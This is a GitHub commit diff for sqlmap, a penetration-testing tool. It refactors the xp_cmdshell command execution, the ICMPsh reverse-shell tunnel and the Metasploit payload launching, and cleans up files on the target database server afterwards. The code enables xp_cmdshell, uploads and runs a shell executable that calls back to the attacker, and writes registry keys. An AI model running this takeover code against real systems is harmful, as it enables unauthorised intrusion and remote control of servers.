Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 4f8e9da

Browse files
bdamelebdamele
committed
Minor bug fix to properly delete sqlmap temporary files on the database server file system at shutdown.
Minor improvements at ICMPsh tunnel to cleanup properly the dbms at shutdown and avoid checking/writing sys_bineval() UDF as it's a PE and needs to be called by sys_exec() only. Got rid of useless doubleslash param in delRemoteFile() method. Major code refactoring to xp_cmdshell.py methods and parent calls.
1 parent 56c16cb commit 4f8e9da

10 files changed

Lines changed: 47 additions & 89 deletions

File tree

‎extra/icmpsh/icmpsh_m.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@ def main(src, dst):
9393
except:
9494
pass
9595

96-
if cmd == 'exit':
96+
if cmd == 'exit\n':
9797
return
9898

9999
# Set sequence number and identifier

‎lib/takeover/abstraction.py‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -32,15 +32,15 @@ def __init__(self):
3232
Web.__init__(self)
3333
xp_cmdshell.__init__(self)
3434

35-
def execCmd(self, cmd, silent=False, forgeCmd=False):
35+
def execCmd(self, cmd, silent=False):
3636
if self.webBackdoorUrl and not kb.stackedTest:
3737
self.webBackdoorRunCmd(cmd)
3838

3939
elif kb.dbms in ( "MySQL", "PostgreSQL" ):
4040
self.udfExecCmd(cmd, silent=silent)
4141

4242
elif kb.dbms == "Microsoft SQL Server":
43-
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
43+
self.xpCmdshellExecCmd(cmd, silent)
4444

4545
else:
4646
errMsg = "Feature not yet implemented for the back-end DBMS"
@@ -79,7 +79,7 @@ def runCmd(self, cmd):
7979
else:
8080
dataToStdout("No output\n")
8181
else:
82-
self.execCmd(cmd, forgeCmd=True)
82+
self.execCmd(cmd)
8383

8484
def shell(self):
8585
if self.webBackdoorUrl and not kb.stackedTest:

‎lib/takeover/icmpsh.py‎

Lines changed: 8 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -7,40 +7,21 @@
77
See the file 'doc/COPYING' for copying permission
88
"""
99

10-
import codecs
1110
import os
12-
import re
13-
import stat
14-
import sys
1511
import time
1612

17-
from select import select
18-
from subprocess import PIPE
19-
from subprocess import Popen as execute
20-
2113
from extra.icmpsh.icmpsh_m import main as icmpshmaster
2214

23-
from lib.core.common import dataToStdout
2415
from lib.core.common import getLocalIP
2516
from lib.core.common import getRemoteIP
26-
from lib.core.common import getUnicode
2717
from lib.core.common import normalizePath
2818
from lib.core.common import ntToPosixSlashes
29-
from lib.core.common import pollProcess
30-
from lib.core.common import randomRange
3119
from lib.core.common import randomStr
3220
from lib.core.common import readInput
3321
from lib.core.data import conf
3422
from lib.core.data import kb
3523
from lib.core.data import logger
3624
from lib.core.data import paths
37-
from lib.core.exception import sqlmapDataException
38-
from lib.core.exception import sqlmapFilePathException
39-
from lib.core.subprocessng import blockingReadFromFD
40-
from lib.core.subprocessng import blockingWriteToFD
41-
from lib.core.subprocessng import setNonBlocking
42-
from lib.request.connect import Connect as Request
43-
from lib.takeover.upx import upx
4425

4526

4627
class ICMPsh:
@@ -81,22 +62,18 @@ def __runIcmpshSlaveRemote(self):
8162
infoMsg = "running icmpsh slave remotely"
8263
logger.info(infoMsg)
8364

84-
self.__icmpshSlaveCmd = "%s -t %s -d 500 -b 30 -s 128" % (self.__icmpslaveRemote, self.lhostStr)
85-
86-
cmd = "%s &" % self.__icmpshSlaveCmd
87-
88-
if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct):
89-
cmd = self.xpCmdshellForgeCmd(cmd)
65+
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr)
9066

9167
self.execCmd(cmd, silent=True)
9268

9369
def uploadIcmpshSlave(self, web=False):
9470
self.__randStr = randomStr(lowercase=True)
71+
self.__icmpslaveRemoteBase = "tmpi%s.exe" % self.__randStr
9572

9673
if web:
97-
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (self.webDirectory, self.__randStr)
74+
self.__icmpslaveRemote = "%s/%s" % (self.webDirectory, self.__icmpslaveRemoteBase)
9875
else:
99-
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (conf.tmpPath, self.__randStr)
76+
self.__icmpslaveRemote = "%s/%s" % (conf.tmpPath, self.__icmpslaveRemoteBase)
10077

10178
self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote))
10279

@@ -115,4 +92,7 @@ def icmpPwn(self):
11592
debugMsg = "icmpsh master exited"
11693
logger.debug(debugMsg)
11794

118-
self.delRemoteFile(self.__icmpslaveRemote, doubleslash=True)
95+
time.sleep(1)
96+
self.execCmd("taskkill /F /IM %s" % self.__icmpslaveRemoteBase, silent=True)
97+
time.sleep(1)
98+
self.delRemoteFile(self.__icmpslaveRemote)

‎lib/takeover/metasploit.py‎

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -397,9 +397,6 @@ def __runMsfPayloadRemote(self):
397397

398398
cmd = "%s &" % self.exeFilePathRemote
399399

400-
if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct):
401-
cmd = self.xpCmdshellForgeCmd(cmd)
402-
403400
self.execCmd(cmd, silent=True)
404401

405402
def __loadMetExtensions(self, proc, metSess):
@@ -648,7 +645,8 @@ def pwn(self, goUdf=False):
648645
logger.debug(debugMsg)
649646

650647
if not goUdf:
651-
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
648+
time.sleep(1)
649+
self.delRemoteFile(self.exeFilePathRemote)
652650

653651
def smb(self):
654652
self.__initVars()

‎lib/takeover/registry.py‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,7 @@ def readRegKey(self, regKey, regValue, parse=False):
8787
if index != -1:
8888
data = data[index + len(pattern):]
8989

90-
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
90+
self.delRemoteFile(self.__batPathRemote)
9191

9292
return data
9393

@@ -101,8 +101,8 @@ def addRegKey(self, regKey, regValue, regType, regData):
101101
debugMsg += "to registry key '%s'" % self.__regKey
102102
logger.debug(debugMsg)
103103

104-
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
105-
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
104+
self.execCmd(cmd=self.__batPathRemote)
105+
self.delRemoteFile(self.__batPathRemote)
106106

107107
def delRegKey(self, regKey, regValue):
108108
self.__operation = "delete"
@@ -114,5 +114,5 @@ def delRegKey(self, regKey, regValue):
114114
debugMsg += "from registry key '%s'" % self.__regKey
115115
logger.debug(debugMsg)
116116

117-
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
118-
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
117+
self.execCmd(cmd=self.__batPathRemote)
118+
self.delRemoteFile(self.__batPathRemote)

‎lib/takeover/xp_cmdshell.py‎

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def __xpCmdshellCreate(self):
3636
cmd += "RECONFIGURE WITH OVERRIDE; "
3737
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
3838
cmd += "RECONFIGURE WITH OVERRIDE; "
39-
self.xpCmdshellExecCmd(cmd)
39+
inject.goStacked(cmd)
4040

4141
self.__randStr = randomStr(lowercase=True)
4242

@@ -51,7 +51,7 @@ def __xpCmdshellCreate(self):
5151
if kb.dbmsVersion[0] in ( "2005", "2008" ):
5252
cmd += " RECONFIGURE WITH OVERRIDE;"
5353

54-
self.xpCmdshellExecCmd(cmd)
54+
inject.goStacked(cmd)
5555

5656
def __xpCmdshellConfigure2005(self, mode):
5757
debugMsg = "configuring xp_cmdshell using sp_configure "
@@ -85,10 +85,10 @@ def __xpCmdshellConfigure(self, mode):
8585
else:
8686
cmd = self.__xpCmdshellConfigure2000(mode)
8787

88-
self.xpCmdshellExecCmd(cmd)
88+
inject.goStacked(cmd)
8989

9090
def __xpCmdshellCheck(self):
91-
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec * 2))
91+
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec * 2))
9292
duration = timeUse(query)
9393

9494
if duration >= conf.timeSec:
@@ -102,17 +102,15 @@ def xpCmdshellForgeCmd(self, cmd):
102102

103103
return forgedCmd
104104

105-
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
106-
if forgeCmd:
107-
cmd = self.xpCmdshellForgeCmd(cmd)
108-
105+
def xpCmdshellExecCmd(self, cmd, silent=False):
106+
cmd = self.xpCmdshellForgeCmd(cmd)
109107
inject.goStacked(cmd, silent)
110108

111109
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
112110
self.getRemoteTempPath()
113111

114112
tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
115-
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
113+
cmd = "%s > %s" % (cmd, tmpFile)
116114

117115
self.xpCmdshellExecCmd(cmd)
118116

‎plugins/dbms/mssqlserver/filesystem.py‎

Lines changed: 8 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -146,13 +146,10 @@ def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
146146

147147
logger.debug("moving binary file %s to %s" % (sFile, dFile))
148148

149-
commands = ("cd \"%s\"" % tmpPath,
150-
"ren %s %s" % (chunkName, dFileName),
151-
"move /Y %s %s" % (dFileName, dFile))
152-
complComm = " & ".join(command for command in commands)
153-
forgedCmd = self.xpCmdshellForgeCmd(complComm)
149+
commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
150+
complComm = " & ".join(command for command in commands)
154151

155-
self.execCmd(forgedCmd)
152+
self.execCmd(complComm)
156153

157154
else:
158155
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
@@ -177,13 +174,10 @@ def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
177174
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
178175
logger.debug(infoMsg)
179176

180-
commands = ("cd %s" % tmpPath,
181-
copyCmd,
182-
"del /F %s" % chunkName)
183-
complComm = " & ".join(command for command in commands)
184-
forgedCmd = self.xpCmdshellForgeCmd(complComm)
177+
commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName)
178+
complComm = " & ".join(command for command in commands)
185179

186-
self.execCmd(forgedCmd)
180+
self.execCmd(complComm)
187181

188182
logger.info("file chunk %d written" % counter)
189183

@@ -193,12 +187,10 @@ def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
193187

194188
logger.debug("moving binary file %s to %s" % (sFile, dFile))
195189

196-
commands = ("cd %s" % tmpPath,
197-
"move /Y %s %s" % (dFileName, dFile))
190+
commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
198191
complComm = " & ".join(command for command in commands)
199-
forgedCmd = self.xpCmdshellForgeCmd(complComm)
200192

201-
self.execCmd(forgedCmd)
193+
self.execCmd(complComm)
202194

203195
if confirm:
204196
self.askCheckWrittenFile(wFile, dFile, fileType)

‎plugins/generic/filesystem.py‎

Lines changed: 5 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -205,26 +205,18 @@ def updateBinChunk(self, binaryData, tmpPath):
205205
charCounter += len(forgedScrLine)
206206

207207
if charCounter >= maxLen:
208-
forgedCmd = self.xpCmdshellForgeCmd(cmd)
209-
self.execCmd(forgedCmd)
208+
self.execCmd(cmd)
210209

211-
cmd = ""
210+
cmd = ""
212211
charCounter = 0
213212

214213
if cmd:
215-
forgedCmd = self.xpCmdshellForgeCmd(cmd)
216-
self.execCmd(forgedCmd)
217-
218-
commands = (
219-
"cd %s" % tmpPath,
220-
"debug < %s" % randScr,
221-
"del /F /Q %s" % randScr
222-
)
214+
self.execCmd(cmd)
223215

216+
commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr )
224217
complComm = " & ".join(command for command in commands)
225-
forgedCmd = self.xpCmdshellForgeCmd(complComm)
226218

227-
self.execCmd(forgedCmd, silent=True)
219+
self.execCmd(complComm, silent=True)
228220

229221
return chunkName
230222

‎plugins/generic/misc.py‎

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -75,20 +75,16 @@ def getVersionFromBanner(self):
7575
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
7676
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
7777

78-
def delRemoteFile(self, tempFile, doubleslash=False):
78+
def delRemoteFile(self, tempFile):
7979
self.checkDbmsOs()
8080

8181
if kb.os == "Windows":
82-
if doubleslash:
83-
tempFile = tempFile.replace("/", "\\\\")
84-
else:
85-
tempFile = posixToNtSlashes(tempFile)
86-
82+
tempFile = posixToNtSlashes(tempFile)
8783
cmd = "del /F /Q %s" % tempFile
8884
else:
8985
cmd = "rm -f %s" % tempFile
9086

91-
self.execCmd(cmd, forgeCmd=True)
87+
self.execCmd(cmd)
9288

9389
def createSupportTbl(self, tblName, tblField, tblType):
9490
inject.goStacked("DROP TABLE %s" % tblName)

‎plugins/generic/takeover.py‎

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -153,6 +153,8 @@ def osPwn(self):
153153
errMsg += "is unlikely to receive commands send from you"
154154
logger.error(errMsg)
155155

156+
self.sysUdfs.pop("sys_bineval")
157+
156158
if kb.stackedTest or conf.direct:
157159
web = False
158160

@@ -207,7 +209,7 @@ def osPwn(self):
207209
elif tunnel == 2:
208210
self.uploadIcmpshSlave(web=web)
209211
self.icmpPwn()
210-
212+
211213
elif not kb.stackedTest and kb.dbms == "MySQL":
212214
web = True
213215

@@ -244,8 +246,8 @@ def osPwn(self):
244246
if not web or (web and self.webBackdoorUrl is not None):
245247
self.pwn(goUdf)
246248

247-
if not conf.cleanup:
248-
self.cleanup()
249+
if not conf.cleanup:
250+
self.cleanup()
249251

250252
def osSmb(self):
251253
stackedTest()

0 commit comments

Comments
 (0)